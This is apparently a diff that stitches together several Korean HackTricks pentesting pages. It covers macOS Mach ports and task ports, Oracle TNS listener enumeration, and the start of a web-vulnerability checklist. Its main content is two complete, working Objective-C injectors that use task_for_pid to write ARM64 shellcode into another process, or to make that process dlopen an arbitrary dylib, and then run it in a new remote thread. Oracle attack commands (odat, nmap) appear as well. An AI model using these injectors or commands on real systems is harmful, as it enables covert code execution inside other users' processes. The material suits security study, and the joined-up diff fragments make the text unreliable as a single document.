> 이러한 종류의 양방향 통신은 응답을 기대하는 XPC 메시지에서 사용된다는 점에 유의하십시오 (`xpc_connection_send_message_with_reply``xpc_connection_send_message_with_reply_sync`). 그러나 **일반적으로 이전에 설명한 대로 양방향 통신을 생성하기 위해 서로 다른 포트가 생성됩니다**.
메시지 헤더의 다른 필드는 다음과 같습니다:
- `msgh_size`: 전체 패킷의 크기.
- `msgh_remote_port`: 이 메시지가 전송되는 포트.
- `msgh_voucher_port`: [mach vouchers](https://robert.sesek.com/2023/6/mach_vouchers.html).
- `msgh_id`: 수신자가 해석하는 이 메시지의 ID.
> [!CAUTION]
> **mach 메시지는 \_mach 포트를 통해 전송됩니다**\_, 이는 mach 커널에 내장된 **단일 수신자**, **다수 발신자** 통신 채널입니다. **여러 프로세스**가 mach 포트에 **메시지를 전송**할 수 있지만, 언제든지 **단일 프로세스만 읽을 수 있습니다**.
### 포트 나열
```bash
lsmp -p <pid>
```
이 도구는 [http://newosxbook.com/tools/binpack64-256.tar.gz](http://newosxbook.com/tools/binpack64-256.tar.gz)에서 다운로드하여 iOS에 설치할 수 있습니다.
### 코드 예제
**보내는 사람**이 포트를 **할당**하고, 이름 `org.darlinghq.example`에 대한 **전송 권한**을 생성하여 **부트스트랩 서버**에 전송하는 방법에 주목하세요. 이때 보내는 사람은 해당 이름의 **전송 권한**을 요청하고 이를 사용하여 **메시지를 전송**했습니다.
{{#tabs}}
{{#tab name="receiver.c"}}
```c
// Code from https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html
// gcc receiver.c -o receiver
#include <stdio.h>
#include <mach/mach.h>
#include <servers/bootstrap.h>
int main() {
// Create a new port.
mach_port_t port;
kern_return_t kr = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port);
if (kr != KERN_SUCCESS) {
printf("mach_port_allocate() failed with code 0x%x\n", kr);
return 1;
}
printf("mach_port_allocate() created port right name %d\n", port);
// Give us a send right to this port, in addition to the receive right.
kr = mach_port_insert_right(mach_task_self(), port, port, MACH_MSG_TYPE_MAKE_SEND);
if (kr != KERN_SUCCESS) {
printf("mach_port_insert_right() failed with code 0x%x\n", kr);
return 1;
}
printf("mach_port_insert_right() inserted a send right\n");
// Send the send right to the bootstrap server, so that it can be looked up by other processes.
kr = bootstrap_register(bootstrap_port, "org.darlinghq.example", port);
if (kr != KERN_SUCCESS) {
printf("bootstrap_register() failed with code 0x%x\n", kr);
return 1;
}
printf("bootstrap_register()'ed our port\n");
// Wait for a message.
struct {
mach_msg_header_t header;
char some_text[10];
int some_number;
mach_msg_trailer_t trailer;
} message;
kr = mach_msg(
&message.header, // Same as (mach_msg_header_t *) &message.
MACH_RCV_MSG, // Options. We're receiving a message.
0, // Size of the message being sent, if sending.
sizeof(message), // Size of the buffer for receiving.
port, // The port to receive a message on.
MACH_MSG_TIMEOUT_NONE,
MACH_PORT_NULL // Port for the kernel to send notifications about this message to.
);
if (kr != KERN_SUCCESS) {
printf("mach_msg() failed with code 0x%x\n", kr);
return 1;
}
printf("Got a message\n");
message.some_text[9] = 0;
printf("Text: %s, number: %d\n", message.some_text, message.some_number);
}
```
{{#endtab}}
{{#tab name="sender.c"}}
```c
// Code from https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html
// gcc sender.c -o sender
#include <stdio.h>
#include <mach/mach.h>
#include <servers/bootstrap.h>
int main() {
// Lookup the receiver port using the bootstrap server.
mach_port_t port;
kern_return_t kr = bootstrap_look_up(bootstrap_port, "org.darlinghq.example", &port);
if (kr != KERN_SUCCESS) {
printf("bootstrap_look_up() failed with code 0x%x\n", kr);
return 1;
}
printf("bootstrap_look_up() returned port right name %d\n", port);
// Construct our message.
struct {
mach_msg_header_t header;
char some_text[10];
int some_number;
} message;
message.header.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0);
message.header.msgh_remote_port = port;
message.header.msgh_local_port = MACH_PORT_NULL;
strncpy(message.some_text, "Hello", sizeof(message.some_text));
message.some_number = 35;
// Send the message.
kr = mach_msg(
&message.header, // Same as (mach_msg_header_t *) &message.
MACH_SEND_MSG, // Options. We're sending a message.
sizeof(message), // Size of the message being sent.
0, // Size of the buffer for receiving.
MACH_PORT_NULL, // A port to receive a message on, if receiving.
MACH_MSG_TIMEOUT_NONE,
MACH_PORT_NULL // Port for the kernel to send notifications about this message to.
);
if (kr != KERN_SUCCESS) {
printf("mach_msg() failed with code 0x%x\n", kr);
return 1;
}
printf("Sent a message\n");
}
```
{{#endtab}}
{{#endtabs}}
### 특권 포트
- **호스트 포트**: 프로세스가 이 포트에 대해 **Send** 권한을 가지고 있다면 **시스템**에 대한 **정보**를 얻을 수 있습니다 (예: `host_processor_info`).
- **호스트 특권 포트**: 이 포트에 대해 **Send** 권한이 있는 프로세스는 커널 확장을 로드하는 것과 같은 **특권 작업**을 수행할 수 있습니다. 이 권한을 얻으려면 **프로세스가 루트여야** 합니다.
- 또한, **`kext_request`** API를 호출하려면 **`com.apple.private.kext*`**와 같은 다른 권한이 필요하며, 이는 Apple 바이너리에게만 부여됩니다.
- **작업 이름 포트:** _작업 포트_의 비특권 버전입니다. 작업을 참조하지만 이를 제어할 수는 없습니다. 이를 통해 사용할 수 있는 유일한 것은 `task_info()`입니다.
- **작업 포트** (또는 커널 포트)**:** 이 포트에 대한 Send 권한이 있으면 작업을 제어할 수 있습니다 (메모리 읽기/쓰기, 스레드 생성 등).
- `mach_task_self()`를 호출하여 호출자 작업에 대한 이 포트의 **이름**을 얻습니다. 이 포트는 **`exec()`**를 통해서만 **상속**됩니다; `fork()`로 생성된 새로운 작업은 새로운 작업 포트를 얻습니다 (특별한 경우로, suid 바이너리에서 `exec()` 후 작업도 새로운 작업 포트를 얻습니다). 작업을 생성하고 그 포트를 얻는 유일한 방법은 `fork()`를 수행하면서 ["포트 스왑 댄스"](https://robert.sesek.com/2014/1/changes_to_xnu_mach_ipc.html)를 수행하는 것입니다.
- 포트에 접근하기 위한 제한 사항은 다음과 같습니다 (바이너리 `AppleMobileFileIntegrity``macos_task_policy`에서):
- 앱이 **`com.apple.security.get-task-allow` 권한**을 가지고 있다면 **같은 사용자**의 프로세스가 작업 포트에 접근할 수 있습니다 (일반적으로 디버깅을 위해 Xcode에 의해 추가됨). **노타리제이션** 프로세스는 이를 프로덕션 릴리스에서 허용하지 않습니다.
- **`com.apple.system-task-ports`** 권한이 있는 앱은 **커널을 제외한 모든** 프로세스의 **작업 포트**를 얻을 수 있습니다. 이전 버전에서는 **`task_for_pid-allow`**라고 불렸습니다. 이는 Apple 애플리케이션에만 부여됩니다.
- **루트는** **하드닝** 런타임으로 컴파일되지 않은 애플리케이션의 작업 포트에 접근할 수 있습니다 (Apple에서 제작한 것이 아님).
### 작업 포트를 통한 스레드에서의 셸코드 주입
다음에서 셸코드를 가져올 수 있습니다:
{{#ref}}
../../macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md
{{#endref}}
{{#tabs}}
{{#tab name="mysleep.m"}}
```objectivec
// clang -framework Foundation mysleep.m -o mysleep
// codesign --entitlements entitlements.plist -s - mysleep
#import <Foundation/Foundation.h>
double performMathOperations() {
double result = 0;
for (int i = 0; i < 10000; i++) {
result += sqrt(i) * tan(i) - cos(i);
}
return result;
}
int main(int argc, const char * argv[]) {
@autoreleasepool {
NSLog(@"Process ID: %d", [[NSProcessInfo processInfo]
processIdentifier]);
while (true) {
[NSThread sleepForTimeInterval:5];
performMathOperations(); // Silent action
[NSThread sleepForTimeInterval:5];
}
}
return 0;
}
```
{{#endtab}}
{{#tab name="entitlements.plist"}}
```xml
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>com.apple.security.get-task-allow</key>
<true/>
</dict>
</plist>
```
{{#endtab}}
{{#endtabs}}
**이전 프로그램을 컴파일**하고 동일한 사용자로 코드를 주입할 수 있도록 **권한**을 추가합니다 (그렇지 않으면 **sudo**를 사용해야 합니다).
<details>
<summary>sc_injector.m</summary>
```objectivec
// gcc -framework Foundation -framework Appkit sc_injector.m -o sc_injector
#import <Foundation/Foundation.h>
#import <AppKit/AppKit.h>
#include <mach/mach_vm.h>
#include <sys/sysctl.h>
#ifdef __arm64__
kern_return_t mach_vm_allocate
(
vm_map_t target,
mach_vm_address_t *address,
mach_vm_size_t size,
int flags
);
kern_return_t mach_vm_write
(
vm_map_t target_task,
mach_vm_address_t address,
vm_offset_t data,
mach_msg_type_number_t dataCnt
);
#else
#include <mach/mach_vm.h>
#endif
#define STACK_SIZE 65536
#define CODE_SIZE 128
// ARM64 shellcode that executes touch /tmp/lalala
char injectedCode[] = "\xff\x03\x01\xd1\xe1\x03\x00\x91\x60\x01\x00\x10\x20\x00\x00\xf9\x60\x01\x00\x10\x20\x04\x00\xf9\x40\x01\x00\x10\x20\x08\x00\xf9\x3f\x0c\x00\xf9\x80\x00\x00\x10\xe2\x03\x1f\xaa\x70\x07\x80\xd2\x01\x00\x00\xd4\x2f\x62\x69\x6e\x2f\x73\x68\x00\x2d\x63\x00\x00\x74\x6f\x75\x63\x68\x20\x2f\x74\x6d\x70\x2f\x6c\x61\x6c\x61\x6c\x61\x00";
int inject(pid_t pid){
task_t remoteTask;
// Get access to the task port of the process we want to inject into
kern_return_t kr = task_for_pid(mach_task_self(), pid, &remoteTask);
if (kr != KERN_SUCCESS) {
fprintf (stderr, "Unable to call task_for_pid on pid %d: %d. Cannot continue!\n",pid, kr);
return (-1);
}
else{
printf("Gathered privileges over the task port of process: %d\n", pid);
}
// Allocate memory for the stack
mach_vm_address_t remoteStack64 = (vm_address_t) NULL;
mach_vm_address_t remoteCode64 = (vm_address_t) NULL;
kr = mach_vm_allocate(remoteTask, &remoteStack64, STACK_SIZE, VM_FLAGS_ANYWHERE);
if (kr != KERN_SUCCESS)
{
fprintf(stderr,"Unable to allocate memory for remote stack in thread: Error %s\n", mach_error_string(kr));
return (-2);
}
else
{
fprintf (stderr, "Allocated remote stack @0x%llx\n", remoteStack64);
}
// Allocate memory for the code
remoteCode64 = (vm_address_t) NULL;
kr = mach_vm_allocate( remoteTask, &remoteCode64, CODE_SIZE, VM_FLAGS_ANYWHERE );
if (kr != KERN_SUCCESS)
{
fprintf(stderr,"Unable to allocate memory for remote code in thread: Error %s\n", mach_error_string(kr));
return (-2);
}
// Write the shellcode to the allocated memory
kr = mach_vm_write(remoteTask, // Task port
remoteCode64, // Virtual Address (Destination)
(vm_address_t) injectedCode, // Source
0xa9); // Length of the source
if (kr != KERN_SUCCESS)
{
fprintf(stderr,"Unable to write remote thread memory: Error %s\n", mach_error_string(kr));
return (-3);
}
// Set the permissions on the allocated code memory
kr = vm_protect(remoteTask, remoteCode64, 0x70, FALSE, VM_PROT_READ | VM_PROT_EXECUTE);
if (kr != KERN_SUCCESS)
{
fprintf(stderr,"Unable to set memory permissions for remote thread's code: Error %s\n", mach_error_string(kr));
return (-4);
}
// Set the permissions on the allocated stack memory
kr = vm_protect(remoteTask, remoteStack64, STACK_SIZE, TRUE, VM_PROT_READ | VM_PROT_WRITE);
if (kr != KERN_SUCCESS)
{
fprintf(stderr,"Unable to set memory permissions for remote thread's stack: Error %s\n", mach_error_string(kr));
return (-4);
}
// Create thread to run shellcode
struct arm_unified_thread_state remoteThreadState64;
thread_act_t remoteThread;
memset(&remoteThreadState64, '\0', sizeof(remoteThreadState64) );
remoteStack64 += (STACK_SIZE / 2); // this is the real stack
//remoteStack64 -= 8; // need alignment of 16
const char* p = (const char*) remoteCode64;
remoteThreadState64.ash.flavor = ARM_THREAD_STATE64;
remoteThreadState64.ash.count = ARM_THREAD_STATE64_COUNT;
remoteThreadState64.ts_64.__pc = (u_int64_t) remoteCode64;
remoteThreadState64.ts_64.__sp = (u_int64_t) remoteStack64;
printf ("Remote Stack 64 0x%llx, Remote code is %p\n", remoteStack64, p );
kr = thread_create_running(remoteTask, ARM_THREAD_STATE64, // ARM_THREAD_STATE64,
(thread_state_t) &remoteThreadState64.ts_64, ARM_THREAD_STATE64_COUNT , &remoteThread );
if (kr != KERN_SUCCESS) {
fprintf(stderr,"Unable to create remote thread: error %s", mach_error_string (kr));
return (-3);
}
return (0);
}
pid_t pidForProcessName(NSString *processName) {
NSArray *arguments = @[@"pgrep", processName];
NSTask *task = [[NSTask alloc] init];
[task setLaunchPath:@"/usr/bin/env"];
[task setArguments:arguments];
NSPipe *pipe = [NSPipe pipe];
[task setStandardOutput:pipe];
NSFileHandle *file = [pipe fileHandleForReading];
[task launch];
NSData *data = [file readDataToEndOfFile];
NSString *string = [[NSString alloc] initWithData:data encoding:NSUTF8StringEncoding];
return (pid_t)[string integerValue];
}
BOOL isStringNumeric(NSString *str) {
NSCharacterSet* nonNumbers = [[NSCharacterSet decimalDigitCharacterSet] invertedSet];
NSRange r = [str rangeOfCharacterFromSet: nonNumbers];
return r.location == NSNotFound;
}
int main(int argc, const char * argv[]) {
@autoreleasepool {
if (argc < 2) {
NSLog(@"Usage: %s <pid or process name>", argv[0]);
return 1;
}
NSString *arg = [NSString stringWithUTF8String:argv[1]];
pid_t pid;
if (isStringNumeric(arg)) {
pid = [arg intValue];
} else {
pid = pidForProcessName(arg);
if (pid == 0) {
NSLog(@"Error: Process named '%@' not found.", arg);
return 1;
}
else{
printf("Found PID of process '%s': %d\n", [arg UTF8String], pid);
}
}
inject(pid);
}
return 0;
}
```
</details>
```bash
gcc -framework Foundation -framework Appkit sc_inject.m -o sc_inject
./inject <pi or string>
```
### Dylib Injection in thread via Task port
macOS에서 **스레드**는 **Mach** 또는 **posix `pthread` api**를 사용하여 조작할 수 있습니다. 이전 주입에서 생성한 스레드는 Mach api를 사용하여 생성되었으므로 **posix 호환성이 없습니다**.
**단순한 셸코드**를 주입하여 명령을 실행할 수 있었던 이유는 **posix** 호환 apis와 작업할 필요가 없었기 때문이며, 오직 Mach과만 작업하면 되었습니다. **더 복잡한 주입**은 **스레드**가 또한 **posix 호환성**을 가져야 합니다.
따라서 **스레드**를 **개선하기 위해** **`pthread_create_from_mach_thread`**를 호출해야 하며, 이는 **유효한 pthread**를 생성합니다. 그런 다음, 이 새로운 pthread는 **dlopen**을 호출하여 시스템에서 **dylib**를 **로드**할 수 있으므로, 다양한 작업을 수행하기 위해 새로운 셸코드를 작성하는 대신 사용자 정의 라이브러리를 로드할 수 있습니다.
**예제 dylibs**는 (예를 들어 로그를 생성하고 이를 들을 수 있는 것)에서 찾을 수 있습니다:
{{#ref}}
../../macos-dyld-hijacking-and-dyld_insert_libraries.md
{{#endref}}
<details>
<summary>dylib_injector.m</summary>
```objectivec
// gcc -framework Foundation -framework Appkit dylib_injector.m -o dylib_injector
// Based on http://newosxbook.com/src.jl?tree=listings&file=inject.c
#include <dlfcn.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
#include <mach/mach.h>
#include <mach/error.h>
#include <errno.h>
#include <stdlib.h>
#include <sys/sysctl.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <pthread.h>
#ifdef __arm64__
//#include "mach/arm/thread_status.h"
// Apple says: mach/mach_vm.h:1:2: error: mach_vm.h unsupported
// And I say, bullshit.
kern_return_t mach_vm_allocate
(
vm_map_t target,
mach_vm_address_t *address,
mach_vm_size_t size,
int flags
);
kern_return_t mach_vm_write
(
vm_map_t target_task,
mach_vm_address_t address,
vm_offset_t data,
mach_msg_type_number_t dataCnt
);
#else
#include <mach/mach_vm.h>
#endif
#define STACK_SIZE 65536
#define CODE_SIZE 128
char injectedCode[] =
// "\x00\x00\x20\xd4" // BRK X0 ; // useful if you need a break :)
// Call pthread_set_self
"\xff\x83\x00\xd1" // SUB SP, SP, #0x20 ; Allocate 32 bytes of space on the stack for local variables
"\xFD\x7B\x01\xA9" // STP X29, X30, [SP, #0x10] ; Save frame pointer and link register on the stack
"\xFD\x43\x00\x91" // ADD X29, SP, #0x10 ; Set frame pointer to current stack pointer
"\xff\x43\x00\xd1" // SUB SP, SP, #0x10 ; Space for the
"\xE0\x03\x00\x91" // MOV X0, SP ; (arg0)Store in the stack the thread struct
"\x01\x00\x80\xd2" // MOVZ X1, 0 ; X1 (arg1) = 0;
"\xA2\x00\x00\x10" // ADR X2, 0x14 ; (arg2)12bytes from here, Address where the new thread should start
"\x03\x00\x80\xd2" // MOVZ X3, 0 ; X3 (arg3) = 0;
"\x68\x01\x00\x58" // LDR X8, #44 ; load address of PTHRDCRT (pthread_create_from_mach_thread)
"\x00\x01\x3f\xd6" // BLR X8 ; call pthread_create_from_mach_thread
"\x00\x00\x00\x14" // loop: b loop ; loop forever
// Call dlopen with the path to the library
"\xC0\x01\x00\x10" // ADR X0, #56 ; X0 => "LIBLIBLIB...";
"\x68\x01\x00\x58" // LDR X8, #44 ; load DLOPEN
"\x01\x00\x80\xd2" // MOVZ X1, 0 ; X1 = 0;
"\x29\x01\x00\x91" // ADD x9, x9, 0 - I left this as a nop
"\x00\x01\x3f\xd6" // BLR X8 ; do dlopen()
// Call pthread_exit
"\xA8\x00\x00\x58" // LDR X8, #20 ; load PTHREADEXT
"\x00\x00\x80\xd2" // MOVZ X0, 0 ; X1 = 0;
"\x00\x01\x3f\xd6" // BLR X8 ; do pthread_exit
"PTHRDCRT" // <-
"PTHRDEXT" // <-
"DLOPEN__" // <-
"LIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIB"
"\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00"
"\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00"
"\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00"
"\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00"
"\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" ;
int inject(pid_t pid, const char *lib) {
task_t remoteTask;
struct stat buf;
// Check if the library exists
int rc = stat (lib, &buf);
if (rc != 0)
{
fprintf (stderr, "Unable to open library file %s (%s) - Cannot inject\n", lib,strerror (errno));
//return (-9);
}
// Get access to the task port of the process we want to inject into
kern_return_t kr = task_for_pid(mach_task_self(), pid, &remoteTask);
if (kr != KERN_SUCCESS) {
fprintf (stderr, "Unable to call task_for_pid on pid %d: %d. Cannot continue!\n",pid, kr);
return (-1);
}
else{
printf("Gathered privileges over the task port of process: %d\n", pid);
}
// Allocate memory for the stack
mach_vm_address_t remoteStack64 = (vm_address_t) NULL;
mach_vm_address_t remoteCode64 = (vm_address_t) NULL;
kr = mach_vm_allocate(remoteTask, &remoteStack64, STACK_SIZE, VM_FLAGS_ANYWHERE);
if (kr != KERN_SUCCESS)
{
fprintf(stderr,"Unable to allocate memory for remote stack in thread: Error %s\n", mach_error_string(kr));
return (-2);
}
else
{
fprintf (stderr, "Allocated remote stack @0x%llx\n", remoteStack64);
}
// Allocate memory for the code
remoteCode64 = (vm_address_t) NULL;
kr = mach_vm_allocate( remoteTask, &remoteCode64, CODE_SIZE, VM_FLAGS_ANYWHERE );
if (kr != KERN_SUCCESS)
{
fprintf(stderr,"Unable to allocate memory for remote code in thread: Error %s\n", mach_error_string(kr));
return (-2);
}
// Patch shellcode
int i = 0;
char *possiblePatchLocation = (injectedCode );
for (i = 0 ; i < 0x100; i++)
{
// Patching is crude, but works.
//
extern void *_pthread_set_self;
possiblePatchLocation++;
uint64_t addrOfPthreadCreate = dlsym ( RTLD_DEFAULT, "pthread_create_from_mach_thread"); //(uint64_t) pthread_create_from_mach_thread;
uint64_t addrOfPthreadExit = dlsym (RTLD_DEFAULT, "pthread_exit"); //(uint64_t) pthread_exit;
uint64_t addrOfDlopen = (uint64_t) dlopen;
if (memcmp (possiblePatchLocation, "PTHRDEXT", 8) == 0)
{
memcpy(possiblePatchLocation, &addrOfPthreadExit,8);
printf ("Pthread exit @%llx, %llx\n", addrOfPthreadExit, pthread_exit);
}
if (memcmp (possiblePatchLocation, "PTHRDCRT", 8) == 0)
{
memcpy(possiblePatchLocation, &addrOfPthreadCreate,8);
printf ("Pthread create from mach thread @%llx\n", addrOfPthreadCreate);
}
if (memcmp(possiblePatchLocation, "DLOPEN__", 6) == 0)
{
printf ("DLOpen @%llx\n", addrOfDlopen);
memcpy(possiblePatchLocation, &addrOfDlopen, sizeof(uint64_t));
}
if (memcmp(possiblePatchLocation, "LIBLIBLIB", 9) == 0)
{
strcpy(possiblePatchLocation, lib );
}
}
// Write the shellcode to the allocated memory
kr = mach_vm_write(remoteTask, // Task port
remoteCode64, // Virtual Address (Destination)
(vm_address_t) injectedCode, // Source
0xa9); // Length of the source
if (kr != KERN_SUCCESS)
{
fprintf(stderr,"Unable to write remote thread memory: Error %s\n", mach_error_string(kr));
return (-3);
}
// Set the permissions on the allocated code memory
kr = vm_protect(remoteTask, remoteCode64, 0x70, FALSE, VM_PROT_READ | VM_PROT_EXECUTE);
if (kr != KERN_SUCCESS)
{
fprintf(stderr,"Unable to set memory permissions for remote thread's code: Error %s\n", mach_error_string(kr));
return (-4);
}
// Set the permissions on the allocated stack memory
kr = vm_protect(remoteTask, remoteStack64, STACK_SIZE, TRUE, VM_PROT_READ | VM_PROT_WRITE);
if (kr != KERN_SUCCESS)
{
fprintf(stderr,"Unable to set memory permissions for remote thread's stack: Error %s\n", mach_error_string(kr));
return (-4);
}
// Create thread to run shellcode
struct arm_unified_thread_state remoteThreadState64;
thread_act_t remoteThread;
memset(&remoteThreadState64, '\0', sizeof(remoteThreadState64) );
remoteStack64 += (STACK_SIZE / 2); // this is the real stack
//remoteStack64 -= 8; // need alignment of 16
const char* p = (const char*) remoteCode64;
remoteThreadState64.ash.flavor = ARM_THREAD_STATE64;
remoteThreadState64.ash.count = ARM_THREAD_STATE64_COUNT;
remoteThreadState64.ts_64.__pc = (u_int64_t) remoteCode64;
remoteThreadState64.ts_64.__sp = (u_int64_t) remoteStack64;
printf ("Remote Stack 64 0x%llx, Remote code is %p\n", remoteStack64, p );
kr = thread_create_running(remoteTask, ARM_THREAD_STATE64, // ARM_THREAD_STATE64,
(thread_state_t) &remoteThreadState64.ts_64, ARM_THREAD_STATE64_COUNT , &remoteThread );
if (kr != KERN_SUCCESS) {
fprintf(stderr,"Unable to create remote thread: error %s", mach_error_string (kr));
return (-3);
}
return (0);
}
int main(int argc, const char * argv[])
{
if (argc < 3)
{
fprintf (stderr, "Usage: %s _pid_ _action_\n", argv[0]);
fprintf (stderr, " _action_: path to a dylib on disk\n");
exit(0);
}
pid_t pid = atoi(argv[1]);
const char *action = argv[2];
struct stat buf;
int rc = stat (action, &buf);
if (rc == 0) inject(pid,action);
else
{
fprintf(stderr,"Dylib not found\n");
}
}
```
</details>
```bash
gcc -framework Foundation -framework Appkit dylib_injector.m -o dylib_injector
./inject <pid-of-mysleep> </path/to/lib.dylib>
```
### Task port를 통한 스레드 하이재킹 <a href="#step-1-thread-hijacking" id="step-1-thread-hijacking"></a>
이 기술에서는 프로세스의 스레드가 하이재킹됩니다:
{{#ref}}
../../macos-proces-abuse/macos-ipc-inter-process-communication/macos-thread-injection-via-task-port.md
{{#endref}}
## XPC
### 기본 정보
XPC는 macOS에서 사용되는 커널인 XNU의 프로세스 간 통신을 위한 프레임워크로, macOS와 iOS에서 **프로세스 간의 통신**을 위한 것입니다. XPC는 시스템의 서로 다른 프로세스 간에 **안전하고 비동기적인 메서드 호출**을 수행할 수 있는 메커니즘을 제공합니다. 이는 Apple의 보안 패러다임의 일부로, 각 **구성 요소**가 작업을 수행하는 데 필요한 **권한만**으로 실행되는 **권한 분리 애플리케이션**의 **생성**을 가능하게 하여, 손상된 프로세스로 인한 잠재적 피해를 제한합니다.
**통신이 어떻게 작동하는지** 및 **어떻게 취약할 수 있는지**에 대한 더 많은 정보는 다음을 확인하십시오:
{{#ref}}
../../macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/
{{#endref}}
## MIG - Mach 인터페이스 생성기
MIG는 **Mach IPC** 코드 생성을 **단순화**하기 위해 만들어졌습니다. 기본적으로 주어진 정의에 따라 서버와 클라이언트가 통신하는 데 필요한 코드를 **생성**합니다. 생성된 코드가 보기 좋지 않더라도, 개발자는 이를 가져오기만 하면 그의 코드는 이전보다 훨씬 간단해질 것입니다.
더 많은 정보는 다음을 확인하십시오:
{{#ref}}
../../macos-proces-abuse/macos-ipc-inter-process-communication/macos-mig-mach-interface-generator.md
{{#endref}}
## 참고 문헌
- [https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html](https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html)
- [https://knight.sc/malware/2019/03/15/code-injection-on-macos.html](https://knight.sc/malware/2019/03/15/code-injection-on-macos.html)
- [https://gist.github.com/knightsc/45edfc4903a9d2fa9f5905f60b02ce5a](https://gist.github.com/knightsc/45edfc4903a9d2fa9f5905f60b02ce5a)
- [https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/)
- [https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/)
{{#include ../../../../banners/hacktricks-training.md}}

View File

@ -1,61 +0,0 @@
# 1521,1522-1529 - Pentesting Oracle TNS Listener
{{#include ../../banners/hacktricks-training.md}}
## 기본 정보
Oracle 데이터베이스(Oracle DB)는 Oracle Corporation의 관계형 데이터베이스 관리 시스템(RDBMS)입니다(여기에서 확인할 수 있습니다 [here](https://www.techopedia.com/definition/8711/oracle-database)).
Oracle을 열거할 때 첫 번째 단계는 일반적으로 기본 포트(1521/TCP)에 위치한 TNS-Listener와 대화하는 것입니다(15221529에서 보조 리스너를 얻을 수도 있습니다).
```
1521/tcp open oracle-tns Oracle TNS Listener 9.2.0.1.0 (for 32-bit Windows)
1748/tcp open oracle-tns Oracle TNS Listener
```
## 요약
1. **버전 열거**: 알려진 취약점을 검색하기 위해 버전 정보를 식별합니다.
2. **TNS 리스너 브루트포스**: 통신을 설정하는 데 때때로 필요합니다.
3. **SID 이름 열거/브루트포스**: 데이터베이스 이름(SID)을 발견합니다.
4. **자격 증명 브루트포스**: 발견된 SID에 접근을 시도합니다.
5. **코드 실행**: 시스템에서 코드를 실행하려고 시도합니다.
MSF 오라클 모듈을 사용하려면 몇 가지 종속성을 설치해야 합니다: [**설치**](oracle-pentesting-requirements-installation.md)
## 게시물
다음 게시물을 확인하세요:
- [https://secybr.com/posts/oracle-pentesting-best-practices/](https://secybr.com/posts/oracle-pentesting-best-practices/)
- [https://medium.com/@netscylla/pentesters-guide-to-oracle-hacking-1dcf7068d573](https://medium.com/@netscylla/pentesters-guide-to-oracle-hacking-1dcf7068d573)
- [https://hackmag.com/uncategorized/looking-into-methods-to-penetrate-oracle-db/](https://hackmag.com/uncategorized/looking-into-methods-to-penetrate-oracle-db/)
- [http://blog.opensecurityresearch.com/2012/03/top-10-oracle-steps-to-secure-oracle.html](http://blog.opensecurityresearch.com/2012/03/top-10-oracle-steps-to-secure-oracle.html)
## HackTricks 자동 명령
```
Protocol_Name: Oracle #Protocol Abbreviation if there is one.
Port_Number: 1521 #Comma separated if there is more than one.
Protocol_Description: Oracle TNS Listener #Protocol Abbreviation Spelled out
Entry_1:
Name: Notes
Description: Notes for Oracle
Note: |
Oracle database (Oracle DB) is a relational database management system (RDBMS) from the Oracle Corporation
#great oracle enumeration tool
navigate to https://github.com/quentinhardy/odat/releases/
download the latest
tar -xvf odat-linux-libc2.12-x86_64.tar.gz
cd odat-libc2.12-x86_64/
./odat-libc2.12-x86_64 all -s 10.10.10.82
for more details check https://github.com/quentinhardy/odat/wiki
https://book.hacktricks.wiki/en/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener.html
Entry_2:
Name: Nmap
Description: Nmap with Oracle Scripts
Command: nmap --script "oracle-tns-version" -p 1521 -T4 -sV {IP}
```
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,129 +0,0 @@
# 웹 취약점 방법론
{{#include ../../banners/hacktricks-training.md}}
모든 웹 펜테스트에서 **취약할 수 있는 여러 숨겨진 및 명백한 장소가 존재합니다**. 이 게시물은 모든 가능한 장소에서 취약점을 검색했는지 확인하기 위한 체크리스트입니다.
## 프록시
> [!TIP]
> 요즘 **웹** **애플리케이션**은 일반적으로 어떤 종류의 **중개** **프록시**를 사용하며, 이는 취약점을 악용하는 데 (악용)될 수 있습니다. 이러한 취약점은 취약한 프록시가 필요하지만, 일반적으로 백엔드에서 추가적인 취약점도 필요합니다.
- [ ] [**Hop-by-hop 헤더 악용**](../abusing-hop-by-hop-headers.md)
- [ ] [**캐시 오염/캐시 기만**](../cache-deception.md)
- [ ] [**HTTP 요청 스머글링**](../http-request-smuggling/index.html)
- [ ] [**H2C 스머글링**](../h2c-smuggling.md)
- [ ] [**서버 측 포함/엣지 측 포함**](../server-side-inclusion-edge-side-inclusion-injection.md)
- [ ] [**Cloudflare 드러내기**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md)
- [ ] [**XSLT 서버 측 주입**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md)
- [ ] [**프록시 / WAF 보호 우회**](../proxy-waf-protections-bypass.md)
## **사용자 입력**
> [!TIP]
> 대부분의 웹 애플리케이션은 **사용자가 나중에 처리될 데이터를 입력할 수 있도록 허용합니다.**\
> 데이터의 구조에 따라 서버가 기대하는 취약점이 적용될 수도 있고 그렇지 않을 수도 있습니다.
### **반사된 값**
